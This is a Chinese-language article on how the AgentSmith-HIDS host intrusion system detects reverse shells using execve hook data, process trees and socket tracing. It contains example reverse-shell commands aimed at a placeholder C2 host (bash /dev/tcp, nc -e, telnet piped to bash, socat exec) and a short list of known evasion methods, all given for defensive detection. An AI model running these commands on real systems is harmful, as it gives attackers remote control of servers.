如何利用AgentSmith-HIDS检测反弹shell
字数 1820 2025-08-25 22:59:02

AgentSmith-HIDS反弹Shell检测技术详解

一、反弹Shell概述

反弹Shell(Reverse Shell)是一种常见的入侵后行为,攻击者通过让受害服务器主动连接控制端(C2)来实现远程控制。这种技术广泛应用于各类攻击场景,从APT攻击到脚本小子的入侵都会使用。

反弹Shell的基本原理

当攻击者获取服务器权限后,由于以下原因常使用反弹Shell:

  • 服务器没有公网IP
  • 防火墙限制无法建立正向连接
  • 需要绕过网络访问控制

二、AgentSmith-HIDS的Execve Hook信息

AgentSmith-HIDS通过Hook execve系统调用来检测反弹Shell行为,其采集的关键信息包括:

核心字段说明

字段 描述
uid 执行进程的用户ID
exe 进程的可执行文件路径
argv 进程执行的命令行参数
stdin/stdout 进程的标准输入/输出
dip/dport 目标IP和端口
sip/sport 源IP和端口
pid_tree 进程树信息
tty_name 进程关联的终端设备
SSH_CONNECTION SSH连接环境变量信息
socket_process_pid/exe 第一个有效socket的进程信息

网络连接信息追踪机制

AgentSmith-HIDS会向上追踪进程树中的网络连接:

  1. 如果当前进程没有网络连接,向上查找父进程
  2. 直到找到有有效网络连接的进程或到达进程树顶端
  3. 记录第一个有效socket的进程信息

三、传统反弹Shell检测方法

1. 基础bash反弹Shell检测

典型攻击命令:

bash -i >& /dev/tcp/c2_ip/c2_port 0>&1

检测特征:

  • bash进程的stdin/stdout指向socket连接
  • argv包含"-i"参数

示例数据:

{
  "exe": "/usr/bin/bash",
  "argv": "bash -i",
  "stdin": "socket:[80649]",
  "stdout": "socket:[80649]",
  "dip": "127.0.0.1",
  "dport": "233"
}

2. nc反弹Shell检测

典型攻击命令:

nc -e /usr/bin/bash c2_ip c2_port

检测挑战:

  • bash进程的stdin/stdout不直接显示网络连接
  • 需要分析父子进程关系和网络连接

四、进阶反弹Shell技术分析

1. telnet方式反弹Shell

攻击命令:

telnet c2_ip c2_port 0<SOME_DEVNAME | /bin/bash 1>SOME_DEVNAME

特征:

  • 通过重定向实现输入输出控制
  • 需要分析管道和文件描述符流向

2. socat工具反弹Shell

攻击命令:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:c2_ip:c2_port

特征:

  • 创建伪终端(pty)进行交互
  • 进程树中包含socat进程

3. 后门程序实现反弹Shell

如MSF后门特征:

  • 无bash进程直接参与
  • 自定义二进制文件建立连接
  • 传统检测方法完全失效

五、AgentSmith-HIDS创新检测方法

1. 检测思路转变

从"检测异常bash"转变为:

  1. 检测异常进程行为
  2. 利用父子进程文件描述符继承关系
  3. 分析整个执行链条的网络行为

2. 多维度检测策略

策略一:常用命令异常检测

  • 监控ls/cat/ip等常用命令
  • 检测stdin/stdout与tty不一致情况
  • 对比网络连接与SSH_CONNECTION差异

示例检测逻辑:

if process.exe in ["/bin/ls", "/bin/cat"]:
    if process.stdin != process.tty_name or process.stdout != process.tty_name:
        alert("可疑命令执行")

策略二:网络连接一致性检查

  • 对比进程dip/dport与SSH连接信息
  • 识别非预期网络通信

策略三:进程树异常分析

  • 检测异常进程父子关系
  • 识别隐藏在网络连接背后的恶意进程

3. 检测示例分析

nc反弹Shell场景数据特征:

{
  "exe": "/usr/bin/ls",
  "stdin": "pipe:[93621]",
  "stdout": "pipe:[93622]",
  "dip": "127.0.0.1",
  "dport": "233",
  "pid_tree": "1(systemd)->...->nc->bash->ls",
  "SSH_CONNECTION": "192.168.165.1 64289 192.168.165.152 22"
}

检测点:

  • ls进程的IO与SSH终端不一致
  • 存在nc进程在进程树中
  • 网络连接与SSH会话不匹配

MSF后门场景数据特征:

{
  "exe": "/usr/bin/ls",
  "pid_tree": "1(systemd)->...->backdoor->sh->ls",
  "socket_process_exe": "/root/backdoor",
  "dport": "233"
}

检测点:

  • 存在未知backdoor进程
  • 异常端口连接
  • 进程树结构异常

六、绕过分析与防御建议

已知绕过方法

  1. 使用非bash解释器(如python/perl)
  2. 自定义ELF加载器
  3. 二进制文件混淆(文件名/进程名/MD5)
  4. 源码编译修改特征
  5. 使用非标准网络通信方式

增强防御建议

  1. 结合多Hook点数据交叉验证
  2. 增加行为序列分析
  3. 引入机器学习异常检测
  4. 结合网络层流量分析
  5. 实施白名单机制

七、总结

AgentSmith-HIDS通过创新的Execve Hook数据分析方法,实现了对各类反弹Shell的有效检测,其核心优势在于:

  1. 不局限于bash进程检测
  2. 利用进程树和网络连接上下文分析
  3. 多维度交叉验证提高准确性
  4. 能够检测传统方法无法发现的反弹Shell变种

未来可结合更多数据源和分析维度,进一步提升检测覆盖率和准确性。

AgentSmith-HIDS反弹Shell检测技术详解 一、反弹Shell概述 反弹Shell(Reverse Shell)是一种常见的入侵后行为,攻击者通过让受害服务器主动连接控制端(C2)来实现远程控制。这种技术广泛应用于各类攻击场景,从APT攻击到脚本小子的入侵都会使用。 反弹Shell的基本原理 当攻击者获取服务器权限后,由于以下原因常使用反弹Shell: 服务器没有公网IP 防火墙限制无法建立正向连接 需要绕过网络访问控制 二、AgentSmith-HIDS的Execve Hook信息 AgentSmith-HIDS通过Hook execve系统调用来检测反弹Shell行为,其采集的关键信息包括: 核心字段说明 | 字段 | 描述 | |------|------| | uid | 执行进程的用户ID | | exe | 进程的可执行文件路径 | | argv | 进程执行的命令行参数 | | stdin/stdout | 进程的标准输入/输出 | | dip/dport | 目标IP和端口 | | sip/sport | 源IP和端口 | | pid_tree | 进程树信息 | | tty_name | 进程关联的终端设备 | | SSH_CONNECTION | SSH连接环境变量信息 | | socket_process_pid/exe | 第一个有效socket的进程信息 | 网络连接信息追踪机制 AgentSmith-HIDS会向上追踪进程树中的网络连接: 如果当前进程没有网络连接,向上查找父进程 直到找到有有效网络连接的进程或到达进程树顶端 记录第一个有效socket的进程信息 三、传统反弹Shell检测方法 1. 基础bash反弹Shell检测 典型攻击命令: 检测特征: bash进程的stdin/stdout指向socket连接 argv包含"-i"参数 示例数据: 2. nc反弹Shell检测 典型攻击命令: 检测挑战: bash进程的stdin/stdout不直接显示网络连接 需要分析父子进程关系和网络连接 四、进阶反弹Shell技术分析 1. telnet方式反弹Shell 攻击命令: 特征: 通过重定向实现输入输出控制 需要分析管道和文件描述符流向 2. socat工具反弹Shell 攻击命令: 特征: 创建伪终端(pty)进行交互 进程树中包含socat进程 3. 后门程序实现反弹Shell 如MSF后门特征: 无bash进程直接参与 自定义二进制文件建立连接 传统检测方法完全失效 五、AgentSmith-HIDS创新检测方法 1. 检测思路转变 从"检测异常bash"转变为: 检测异常进程行为 利用父子进程文件描述符继承关系 分析整个执行链条的网络行为 2. 多维度检测策略 策略一:常用命令异常检测 监控ls/cat/ip等常用命令 检测stdin/stdout与tty不一致情况 对比网络连接与SSH_ CONNECTION差异 示例检测逻辑: 策略二:网络连接一致性检查 对比进程dip/dport与SSH连接信息 识别非预期网络通信 策略三:进程树异常分析 检测异常进程父子关系 识别隐藏在网络连接背后的恶意进程 3. 检测示例分析 nc反弹Shell场景数据特征: 检测点: ls进程的IO与SSH终端不一致 存在nc进程在进程树中 网络连接与SSH会话不匹配 MSF后门场景数据特征: 检测点: 存在未知backdoor进程 异常端口连接 进程树结构异常 六、绕过分析与防御建议 已知绕过方法 使用非bash解释器(如python/perl) 自定义ELF加载器 二进制文件混淆(文件名/进程名/MD5) 源码编译修改特征 使用非标准网络通信方式 增强防御建议 结合多Hook点数据交叉验证 增加行为序列分析 引入机器学习异常检测 结合网络层流量分析 实施白名单机制 七、总结 AgentSmith-HIDS通过创新的Execve Hook数据分析方法,实现了对各类反弹Shell的有效检测,其核心优势在于: 不局限于bash进程检测 利用进程树和网络连接上下文分析 多维度交叉验证提高准确性 能够检测传统方法无法发现的反弹Shell变种 未来可结合更多数据源和分析维度,进一步提升检测覆盖率和准确性。